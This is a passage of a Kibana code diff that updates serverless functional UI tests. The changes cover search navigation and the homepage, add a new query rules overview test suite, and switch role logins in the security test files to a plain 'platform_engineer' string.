pageObjects.svlSearchElasticsearchStartPage.expectToBeOnIndexListPage(); + await pageObjects.svlSearchElasticsearchStartPage.expectToBeOnSearchHomepagePage(); }); }); describe('viewer', function () { diff --git a/x-pack/test_serverless/functional/test_suites/search/index.ts b/x-pack/test_serverless/functional/test_suites/search/index.ts index ae826c798b3bf..bfe28b33ca552 100644 --- a/x-pack/test_serverless/functional/test_suites/search/index.ts +++ b/x-pack/test_serverless/functional/test_suites/search/index.ts @@ -30,5 +30,6 @@ export default function ({ loadTestFile }: FtrProviderContext) { loadTestFile(require.resolve('./ml')); loadTestFile(require.resolve('./custom_role_access')); loadTestFile(require.resolve('./inference_management')); + loadTestFile(require.resolve('./search_query_rules/search_query_rules_overview')); }); } diff --git a/x-pack/test_serverless/functional/test_suites/search/navigation.ts b/x-pack/test_serverless/functional/test_suites/search/navigation.ts index e81012ee7bfad..1e9e66d51fde3 100644 --- a/x-pack/test_serverless/functional/test_suites/search/navigation.ts +++ b/x-pack/test_serverless/functional/test_suites/search/navigation.ts @@ -9,6 +9,8 @@ import type { AppDeepLinkId } from '@kbn/core-chrome-browser'; import expect from '@kbn/expect'; import { FtrProviderContext } from '../../ftr_provider_context'; +const archiveEmptyIndex = 'x-pack/test/functional_search/fixtures/search-empty-index'; + export default function ({ getPageObject, getService }: FtrProviderContext) { const svlSearchLandingPage = getPageObject('svlSearchLandingPage'); const svlSearchNavigation = getService('svlSearchNavigation'); @@ -19,12 +21,17 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { const testSubjects = getService('testSubjects'); const browser = getService('browser'); const header = getPageObject('header'); + const esArchiver = getService('esArchiver'); describe('navigation', function () { before(async () => { + await esArchiver.load(archiveEmptyIndex); await svlCommonPage.loginWithRole('developer'); await svlSearchNavigation.navigateToLandingPage(); }); + after(async () => { + await esArchiver.unload(archiveEmptyIndex); + }); it('navigate search sidenav & breadcrumbs', async () => { const expectNoPageReload = await svlCommonNavigation.createNoPageReloadCheck(); @@ -34,15 +41,12 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { await svlSearchLandingPage.assertSvlSearchSideNavExists(); await solutionNavigation.sidenav.expectSectionExists('search_project_nav'); - // Check landing page / global empty state + // Should default to Homepage await solutionNavigation.sidenav.expectLinkActive({ - deepLinkId: 'elasticsearchIndexManagement', + deepLinkId: 'searchHomepage', }); - await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ text: 'Indices' }); - await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ - text: 'Create your first index', - }); - await testSubjects.existOrFail(`elasticsearchStartPage`); + await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ text: 'Home' }); + await testSubjects.existOrFail(`search-homepage`); // Check Side Nav Links const sideNavCases: Array<{ @@ -52,31 +56,24 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { extraCheck?: () => Promise; }> = [ { - deepLinkId: 'elasticsearchIndexManagement', - breadcrumbs: ['Data', 'Index Management', 'Indices'], - pageTestSubject: 'elasticsearchIndexManagement', + deepLinkId: 'searchHomepage', + breadcrumbs: ['Home'], + pageTestSubject: 'search-homepage', }, { - deepLinkId: 'serverlessConnectors', - breadcrumbs: ['Data', 'Connectors'], - pageTestSubject: 'svlSearchConnectorsPage', + deepLinkId: 'discover', + breadcrumbs: ['Discover'], + pageTestSubject: 'queryInput', }, { - deepLinkId: 'serverlessWebCrawlers', - breadcrumbs: ['Data', 'Web Crawlers'], - pageTestSubject: 'serverlessSearchConnectorsTitle', // TODO: this page should have a different test subject + deepLinkId: 'dashboards', + breadcrumbs: ['Dashboards'], + pageTestSubject: 'dashboardLandingPage', }, { - deepLinkId: 'dev_tools:console', - breadcrumbs: ['Build', 'Dev Tools'], - pageTestSubject: 'console', - extraCheck: async () => { - if (await console.isTourPopoverOpen()) { - // Skip the tour if it's open. This will prevent the tour popover from staying on the page - // and blocking breadcrumbs for other tests. - await console.clickSkipTour(); - } - }, + deepLinkId: 'elasticsearchIndexManagement', + breadcrumbs: ['Build', 'Index Management', 'Indices'], + pageTestSubject: 'elasticsearchIndexManagement', }, { deepLinkId: 'searchPlayground', @@ -84,9 +81,9 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { pageTestSubject: 'svlPlaygroundPage', }, { - deepLinkId: 'searchInferenceEndpoints', - breadcrumbs: ['Relevance', 'Inference Endpoints'], - pageTestSubject: 'inferenceEndpointsPage', + deepLinkId: 'serverlessConnectors', + breadcrumbs: ['Build', 'Connectors'], + pageTestSubject: 'svlSearchConnectorsPage', }, { deepLinkId: 'searchSynonyms', @@ -94,19 +91,26 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { pageTestSubject: 'searchSynonymsOverviewPage', }, { - deepLinkId: 'discover', - breadcrumbs: ['Analyze', 'Discover'], - pageTestSubject: 'queryInput', + deepLinkId: 'searchQueryRules', + breadcrumbs: ['Relevance', 'Query Rules'], + pageTestSubject: 'queryRulesBasePage', }, { - deepLinkId: 'dashboards', - breadcrumbs: ['Analyze', 'Dashboards'], - pageTestSubject: 'dashboardLandingPage', + deepLinkId: 'searchInferenceEndpoints', + breadcrumbs: ['Relevance', 'Inference Endpoints'], + pageTestSubject: 'inferenceEndpointsPage', }, { - deepLinkId: 'serverlessElasticsearch', - breadcrumbs: ['Getting Started'], - pageTestSubject: 'svlSearchOverviewPage', + deepLinkId: 'dev_tools:console', + breadcrumbs: ['Developer Tools'], + pageTestSubject: 'console', + extraCheck: async () => { + if (await console.isTourPopoverOpen()) { + // Skip the tour if it's open. This will prevent the tour popover from staying on the page + // and blocking breadcrumbs for other tests. + await console.clickSkipTour(); + } + }, }, ]; @@ -147,10 +151,10 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { // navigate back to serverless search overview await svlCommonNavigation.clickLogo(); await svlCommonNavigation.sidenav.expectLinkActive({ - deepLinkId: 'elasticsearchIndexManagement', + deepLinkId: 'searchHomepage', }); - await svlCommonNavigation.breadcrumbs.expectBreadcrumbExists({ text: `Indices` }); - await testSubjects.existOrFail(`elasticsearchStartPage`); + await svlCommonNavigation.breadcrumbs.expectBreadcrumbExists({ text: `Home` }); + await testSubjects.existOrFail(`search-homepage`); await expectNoPageReload(); }); @@ -167,7 +171,7 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { it("management apps from the sidenav hide the 'stack management' root from the breadcrumbs", async () => { await svlCommonNavigation.sidenav.clickLink({ deepLinkId: 'elasticsearchIndexManagement' }); await svlCommonNavigation.breadcrumbs.expectBreadcrumbTexts([ - 'Data', + 'Build', 'Index Management', 'Indices', ]); @@ -214,23 +218,18 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { 'search_project_nav_footer.project_settings_project_nav' ); // Verify all expected top-level links exist - await solutionNavigation.sidenav.expectLinkExists({ text: 'Data' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Index Management' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Connectors' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Web Crawlers' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Home' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Discover' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Dashboards' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Build' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Dev Tools' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Index Management' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Playground' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Connectors' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Relevance' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Inference Endpoints' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Synonyms' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Analyze' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Discover' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Dashboards' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Other tools' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Maps' }); - await solutionNavigation.sidenav.expectLinkExists({ text: 'Getting Started' }); - + await solutionNavigation.sidenav.expectLinkExists({ text: 'Query Rules' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Inference Endpoints' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Developer Tools' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Trained Models' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Management' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Performance' }); @@ -242,23 +241,18 @@ export default function ({ getPageObject, getService }: FtrProviderContext) { await solutionNavigation.sidenav.expectOnlyDefinedLinks([ 'search_project_nav', 'home', - 'analyze', 'discover', 'dashboards', - 'data', - 'elasticsearchIndexManagement', - 'serverlessConnectors', - 'serverlessWebCrawlers', 'build', - 'dev_tools', + 'elasticsearchIndexManagement', 'searchPlayground', + 'serverlessConnectors', 'relevance', - 'searchInferenceEndpoints', 'searchSynonyms', - 'otherTools', - 'maps', + 'searchQueryRules', + 'searchInferenceEndpoints', 'search_project_nav_footer', - 'gettingStarted', + 'dev_tools', 'project_settings_project_nav', 'management:trained_models', 'management', diff --git a/x-pack/test_serverless/functional/test_suites/search/search_homepage.ts b/x-pack/test_serverless/functional/test_suites/search/search_homepage.ts index 8b40188dbbf83..8917d35b84191 100644 --- a/x-pack/test_serverless/functional/test_suites/search/search_homepage.ts +++ b/x-pack/test_serverless/functional/test_suites/search/search_homepage.ts @@ -31,6 +31,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { describe('Search Homepage', function () { describe('as admin', function () { before(async () => { + await es.indices.create({ index: 'test-my-index-001' }); await pageObjects.svlCommonPage.loginAsAdmin(); }); @@ -38,20 +39,38 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await deleteAllTestIndices(); }); - it('goes to the start page if there exists no index', async () => { + // FLAKY: https://github.com/elastic/kibana/issues/225446 + it.skip('goes to the start page if there exists no index', async () => { await pageObjects.common.navigateToApp('searchHomepage'); await pageObjects.svlSearchHomePage.expectToBeOnStartpage(); }); it('goes to the home page if there exists at least one index', async () => { - await es.indices.create({ index: 'test-my-index-001' }); await pageObjects.common.navigateToApp('searchHomepage'); await pageObjects.svlSearchHomePage.expectToBeOnHomepage(); }); + + describe('Elasticsearch endpoint and API Keys', function () { + it('renders Elasticsearch endpoint with copy functionality', async () => { + await testSubjects.existOrFail('copyEndpointButton'); + await testSubjects.existOrFail('endpointValueField'); + }); + + it('renders API keys buttons and active badge correctly', async () => { + await testSubjects.existOrFail('createApiKeyButton'); + await testSubjects.existOrFail('manageApiKeysButton'); + await testSubjects.existOrFail('activeApiKeysBadge'); + }); + it('opens API keys management page on clicking Manage API Keys', async () => { + await pageObjects.svlSearchHomePage.clickManageApiKeysLink(); + await pageObjects.svlSearchHomePage.expectToBeOnManageApiKeysPage(); + }); + }); }); describe('as developer', function () { before(async () => { + await es.indices.create({ index: 'test-my-index-001' }); await pageObjects.svlCommonPage.loginAsDeveloper(); }); @@ -59,16 +78,33 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await deleteAllTestIndices(); }); - it('goes to the start page if there exists no index', async () => { + // FLAKY: https://github.com/elastic/kibana/issues/225446 + it.skip('goes to the start page if there exists no index', async () => { await pageObjects.common.navigateToApp('searchHomepage'); await pageObjects.svlSearchHomePage.expectToBeOnStartpage(); }); it('goes to the home page if there exists at least one index', async () => { - await es.indices.create({ index: 'test-my-index-001' }); await pageObjects.common.navigateToApp('searchHomepage'); await pageObjects.svlSearchHomePage.expectToBeOnHomepage(); }); + + describe('Elasticsearch endpoint and API Keys', function () { + it('renders Elasticsearch endpoint with copy functionality', async () => { + await testSubjects.existOrFail('copyEndpointButton'); + await testSubjects.existOrFail('endpointValueField'); + }); + + it('renders API keys buttons and active badge correctly', async () => { + await testSubjects.existOrFail('createApiKeyButton'); + await testSubjects.existOrFail('manageApiKeysButton'); + await testSubjects.existOrFail('activeApiKeysBadge'); + }); + it('opens API keys management page on clicking Manage API Keys', async () => { + await pageObjects.svlSearchHomePage.clickManageApiKeysLink(); + await pageObjects.svlSearchHomePage.expectToBeOnManageApiKeysPage(); + }); + }); }); describe('as viewer', function () { @@ -110,16 +146,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { it('renders Elasticsearch endpoint with copy functionality', async () => { await testSubjects.existOrFail('copyEndpointButton'); await testSubjects.existOrFail('endpointValueField'); - }); - - it('renders API keys buttons and active badge correctly', async () => { - await testSubjects.existOrFail('createApiKeyButton'); - await testSubjects.existOrFail('manageApiKeysButton'); - await testSubjects.existOrFail('activeApiKeysBadge'); - }); - it('opens API keys management page on clicking Manage API Keys', async () => { - await pageObjects.svlSearchHomePage.clickManageApiKeysLink(); - await pageObjects.svlSearchHomePage.expectToBeOnManageApiKeysPage(); + await testSubjects.existOrFail('apiKeyFormNoUserPrivileges'); }); }); @@ -156,6 +183,24 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await testSubjects.click('exploreLogstashAndBeatsLink'); await pageObjects.svlSearchHomePage.expectToBeOnObservabilityPage(); }); + + it('renders SIEM link', async () => { + await testSubjects.existOrFail('setupSiemLink'); + await testSubjects.click('setupSiemLink'); + await pageObjects.svlSearchHomePage.expectToBeOnIngestDataToSecurityPage(); + }); + + it('renders Elastic Defend link', async () => { + await testSubjects.existOrFail('setupElasticDefendLink'); + await testSubjects.click('setupElasticDefendLink'); + await pageObjects.svlSearchHomePage.expectToBeOnInstallElasticDefendPage(); + }); + + it('renders Cloud Security Posture Management link', async () => { + await testSubjects.existOrFail('cloudSecurityPostureManagementLink'); + await testSubjects.click('cloudSecurityPostureManagementLink'); + await pageObjects.svlSearchHomePage.expectToBeOnCloudSecurityPosturePage(); + }); }); describe('Dive deeper with Elasticsearch', function () { diff --git a/x-pack/test_serverless/functional/test_suites/search/search_query_rules/search_query_rules_overview.ts b/x-pack/test_serverless/functional/test_suites/search/search_query_rules/search_query_rules_overview.ts new file mode 100644 index 0000000000000..01ecd25db033d --- /dev/null +++ b/x-pack/test_serverless/functional/test_suites/search/search_query_rules/search_query_rules_overview.ts @@ -0,0 +1,307 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from '@kbn/expect'; +import { FtrProviderContext } from '../../../ftr_provider_context'; + +export default function ({ getPageObjects, getService }: FtrProviderContext) { + const pageObjects = getPageObjects([ + 'svlCommonPage', + 'svlCommonNavigation', + 'searchQueryRules', + 'embeddedConsole', + 'common', + ]); + const browser = getService('browser'); + const es = getService('es'); + const retry = getService('retry'); + + const createTestRuleset = async (rulesetId: string) => { + await es.transport.request({ + path: `_query_rules/${rulesetId}`, + method: 'PUT', + body: { + rules: [ + { + rule_id: 'rule1', + type: 'pinned', + criteria: [ + { + type: 'fuzzy', + metadata: 'query_string', + values: ['puggles', 'pugs'], + }, + { + type: 'exact', + metadata: 'user_country', + values: ['us'], + }, + ], + actions: { + docs: [ + { + _index: 'my-index-000001', + _id: 'id1', + }, + { + _index: 'my-index-000002', + _id: 'id2', + }, + ], + }, + }, + ], + }, + }); + }; + + const deleteTestRuleset = async (rulesetId: string) => { + await es.transport.request({ + path: `_query_rules/${rulesetId}`, + method: 'DELETE', + }); + }; + + const createTestIndex = async (indexName: string, docId: string) => { + await es.transport.request({ + path: `${indexName}/_doc/${docId}`, + method: 'PUT', + body: { + title: 'Pugs are the best', + }, + }); + }; + + const deleteTestIndex = async (indexName: string) => { + await es.transport.request({ + path: indexName, + method: 'DELETE', + }); + }; + + describe('Serverless Query Rules Overview', function () { + before(async () => { + try { + await deleteTestRuleset('my-test-ruleset'); + } catch (error) { + // Ignore errors if ruleset doesn't exist or cannot be deleted + } + await pageObjects.svlCommonPage.loginWithRole('developer'); + await createTestIndex('my-index-000001', 'W08XfZcBY'); + }); + + beforeEach(async () => { + await pageObjects.svlCommonNavigation.sidenav.clickLink({ + deepLinkId: 'searchQueryRules', + }); + }); + + describe('Creating a query ruleset from an empty deployment', () => { + it('is Empty State page loaded successfully', async () => { + await pageObjects.searchQueryRules.QueryRulesEmptyPromptPage.expectQueryRulesEmptyPromptPageComponentsToExist(); + }); + it('should be able to create a new ruleset', async () => { + await pageObjects.searchQueryRules.QueryRulesEmptyPromptPage.clickCreateQueryRulesSetButton(); + await pageObjects.searchQueryRules.QueryRulesCreateRulesetModal.setQueryRulesSetName( + 'my-test-ruleset' + ); + await pageObjects.searchQueryRules.QueryRulesCreateRulesetModal.clickSaveButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageNavigated( + 'my-test-ruleset' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.expectRuleFlyoutToExist(); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeDocumentIdField( + 0, + 'W08XfZcBY' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeDocumentIndexField( + 0, + 'my-index-000001' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeMetadataValues(0, 'pugs'); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeMetadataField( + 0, + 'my_query_field' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.clickUpdateButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageBackButtonToExist(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageSaveButtonToExist(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickQueryRulesDetailPageSaveButton(); + + // give time for the ruleset to be created + await pageObjects.common.sleep(400); + await browser.navigateTo('about:blank'); + await pageObjects.common.navigateToApp('searchQueryRules'); + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + }); + }); + + describe('Adding a new ruleset in a non-empty deployment', () => { + before(async () => { + await pageObjects.svlCommonNavigation.sidenav.clickLink({ + deepLinkId: 'searchQueryRules', + }); + }); + it('should be able to create a new ruleset on top of an existing one', async () => { + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickCreateQueryRulesRulesetButton(); + await pageObjects.searchQueryRules.QueryRulesCreateRulesetModal.setQueryRulesSetName( + 'my-test-ruleset-2' + ); + await pageObjects.searchQueryRules.QueryRulesCreateRulesetModal.clickSaveButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageNavigated( + 'my-test-ruleset-2' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.expectRuleFlyoutToExist(); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeDocumentIndexField( + 0, + 'my-index-000001' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeDocumentIdField( + 0, + 'W08XfZcBY' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeMetadataValues(0, 'pugs'); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeMetadataField( + 0, + 'my_query_field' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.clickUpdateButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageBackButtonToExist(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.expectQueryRulesDetailPageSaveButtonToExist(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickQueryRulesDetailPageSaveButton(); + + // give time for the ruleset to be created + await pageObjects.common.sleep(400); + await pageObjects.svlCommonNavigation.sidenav.clickLink({ + deepLinkId: 'searchQueryRules', + }); + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + await retry.try(async () => { + const results = + await pageObjects.searchQueryRules.QueryRulesManagementPage.getQueryRulesRulesetsList(); + expect(results.length).to.equal(2); + }); + }); + after(async () => { + try { + await deleteTestRuleset('my-test-ruleset-2'); + } catch (error) { + // Ignore errors if ruleset doesn't exist or cannot be deleted + } + }); + }); + describe('Deleting a query ruleset from the ruleset details page', () => { + before(async () => { + await createTestRuleset('my-test-ruleset'); + await browser.navigateTo('about:blank'); + await pageObjects.common.navigateToApp('searchQueryRules'); + }); + after(async () => { + try { + await deleteTestRuleset('my-test-ruleset'); + } catch (error) { + // Ignore errors if ruleset doesn't exist or cannot be deleted + } + }); + it('should be able to delete an existing ruleset and render the empty state', async () => { + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickRuleset('my-test-ruleset'); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickQueryRulesDetailPageActionsButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickQueryRulesDetailPageDeleteButton(); + await pageObjects.searchQueryRules.QueryRulesDeleteRulesetModal.clickAcknowledgeButton(); + await pageObjects.searchQueryRules.QueryRulesDeleteRulesetModal.clickConfirmDeleteModal(); + await pageObjects.searchQueryRules.QueryRulesEmptyPromptPage.expectQueryRulesEmptyPromptPageComponentsToExist(); + }); + }); + describe('Deleting a query ruleset from the ruleset management page', () => { + before(async () => { + await createTestRuleset('my-test-ruleset'); + await pageObjects.common.sleep(500); + await browser.navigateTo('about:blank'); + await pageObjects.common.navigateToApp('searchQueryRules'); + }); + after(async () => { + try { + await deleteTestRuleset('my-test-ruleset'); + } catch (error) { + // Ignore errors if ruleset doesn't exist or cannot be deleted + } + }); + it('should be able to delete an existing ruleset and render the empty state', async () => { + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickDeleteRulesetRow(0); + await pageObjects.searchQueryRules.QueryRulesDeleteRulesetModal.clickAcknowledgeButton(); + await pageObjects.searchQueryRules.QueryRulesDeleteRulesetModal.clickConfirmDeleteModal(); + await pageObjects.searchQueryRules.QueryRulesEmptyPromptPage.expectQueryRulesEmptyPromptPageComponentsToExist(); + }); + }); + describe('Editing a query ruleset with document pinning/exclude', () => { + before(async () => { + await createTestRuleset('my-test-ruleset'); + await pageObjects.common.sleep(500); + await browser.navigateTo('about:blank'); + await pageObjects.common.navigateToApp('searchQueryRules'); + }); + after(async () => { + // give time for the ruleset to be deleted + await pageObjects.common.sleep(500); + await deleteTestRuleset('my-test-ruleset'); + await deleteTestIndex('my-index-000001'); + }); + it('should edit the document id and the criteria field', async () => { + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickRuleset('my-test-ruleset'); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickEditRulesetRule(0); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.expectRuleFlyoutToExist(); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeDocumentIdField( + 0, + 'W08XfZcBYqFvZsDKwTp4' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.clickActionTypePinned(); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.clickActionTypeExclude(); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.changeMetadataField( + 0, + 'my_query_field' + ); + await pageObjects.searchQueryRules.QueryRulesRuleFlyout.clickUpdateButton(); + await pageObjects.searchQueryRules.QueryRulesDetailPage.clickQueryRulesDetailPageSaveButton(); + }); + }); + describe('Pagination', () => { + before(async () => { + for (let i = 1; i <= 26; i++) { + await createTestRuleset(`ruleset-${i}`); + } + await browser.navigateTo('about:blank'); + await pageObjects.common.navigateToApp('searchQueryRules'); + }); + it('should paginate through the rulesets', async () => { + await pageObjects.searchQueryRules.QueryRulesManagementPage.expectQueryRulesTableToExist(); + + const results = + await pageObjects.searchQueryRules.QueryRulesManagementPage.getQueryRulesRulesetsList(); + expect(results.length).to.equal(25); + + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickPaginationNext(); + const nextResults = + await pageObjects.searchQueryRules.QueryRulesManagementPage.getQueryRulesRulesetsList(); + expect(nextResults.length).to.equal(1); + await pageObjects.searchQueryRules.QueryRulesManagementPage.clickPaginationPrevious(); + const previousResults = + await pageObjects.searchQueryRules.QueryRulesManagementPage.getQueryRulesRulesetsList(); + expect(previousResults.length).to.equal(25); + }); + after(async () => { + // delete all created rulesets + for (let i = 1; i <= 26; i++) { + await deleteTestRuleset(`ruleset-${i}`); + } + }); + }); + }); +} diff --git a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/cell_renderer.ts b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/cell_renderer.ts index 84d4698339dfd..4e13e22d52e76 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/cell_renderer.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/cell_renderer.ts @@ -6,7 +6,6 @@ */ import expect from '@kbn/expect'; -import { ServerlessRoleName } from '../../../../../../shared/lib'; import { FtrProviderContext } from '../../../../../ftr_provider_context'; import { getDiscoverESQLState } from './utils'; import { SECURITY_SOLUTION_DATA_VIEW, SECURITY_SOLUTION_INDEX_PATTERN } from '../../../constants'; @@ -18,7 +17,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { describe('cell renderer', () => { before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); await PageObjects.common.navigateToApp('security', { path: 'alerts', }); diff --git a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/default_state.ts b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/default_state.ts index 71d6d256a41c5..8519ff8e5c424 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/default_state.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/default_state.ts @@ -6,7 +6,6 @@ */ import expect from '@kbn/expect'; -import { ServerlessRoleName } from '../../../../../../shared/lib'; import { FtrProviderContext } from '../../../../../ftr_provider_context'; import { getDiscoverESQLState } from './utils'; import { SECURITY_SOLUTION_DATA_VIEW } from '../../../constants'; @@ -30,7 +29,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { describe('default State', () => { before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); // creates security data view if it does not exist await PageObjects.common.navigateToApp('security', { path: 'alerts', diff --git a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/row_indicator.ts b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/row_indicator.ts index f70638f19c3bf..e1856d02c2f4f 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/row_indicator.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ftr/discover/context_awareness/row_indicator.ts @@ -6,7 +6,6 @@ */ import expect from '@kbn/expect'; -import { ServerlessRoleName } from '../../../../../../shared/lib'; import { FtrProviderContext } from '../../../../../ftr_provider_context'; import { SECURITY_SOLUTION_DATA_VIEW } from '../../../constants'; import { getDiscoverESQLState } from './utils'; @@ -24,7 +23,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { describe('row indicators', () => { describe('alerts and events', () => { before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); await PageObjects.common.navigateToApp('security', { path: 'alerts', }); diff --git a/x-pack/test_serverless/functional/test_suites/security/ml/anomaly_detection_jobs_list.ts b/x-pack/test_serverless/functional/test_suites/security/ml/anomaly_detection_jobs_list.ts index e8f3f5e1796f3..ee7867ad91ec7 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ml/anomaly_detection_jobs_list.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ml/anomaly_detection_jobs_list.ts @@ -4,7 +4,7 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import { ServerlessRoleName } from '../../../../shared/lib/security/types'; + import { FtrProviderContext } from '../../../ftr_provider_context'; export default function ({ getService, getPageObjects }: FtrProviderContext) { @@ -19,7 +19,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { // Error: Failed to delete all indices with pattern [.ml-*] this.tags(['failsOnMKI']); before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); // Load logstash* data and create dataview for logstash*, logstash-2015.09.22 await esArchiver.loadIfNeeded('x-pack/test/functional/es_archives/logstash_functional'); await kibanaServer.importExport.load( diff --git a/x-pack/test_serverless/functional/test_suites/security/ml/data_frame_analytics_jobs_list.ts b/x-pack/test_serverless/functional/test_suites/security/ml/data_frame_analytics_jobs_list.ts index 110cf64e07a17..60dbefd32b2a5 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ml/data_frame_analytics_jobs_list.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ml/data_frame_analytics_jobs_list.ts @@ -4,7 +4,6 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import { ServerlessRoleName } from '../../../../shared/lib/security/types'; import { FtrProviderContext } from '../../../ftr_provider_context'; export default function ({ getService, getPageObjects }: FtrProviderContext) { @@ -18,7 +17,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { // Error: Failed to delete all indices with pattern [.ml-*] this.tags(['failsOnMKI']); before(async () => { - await 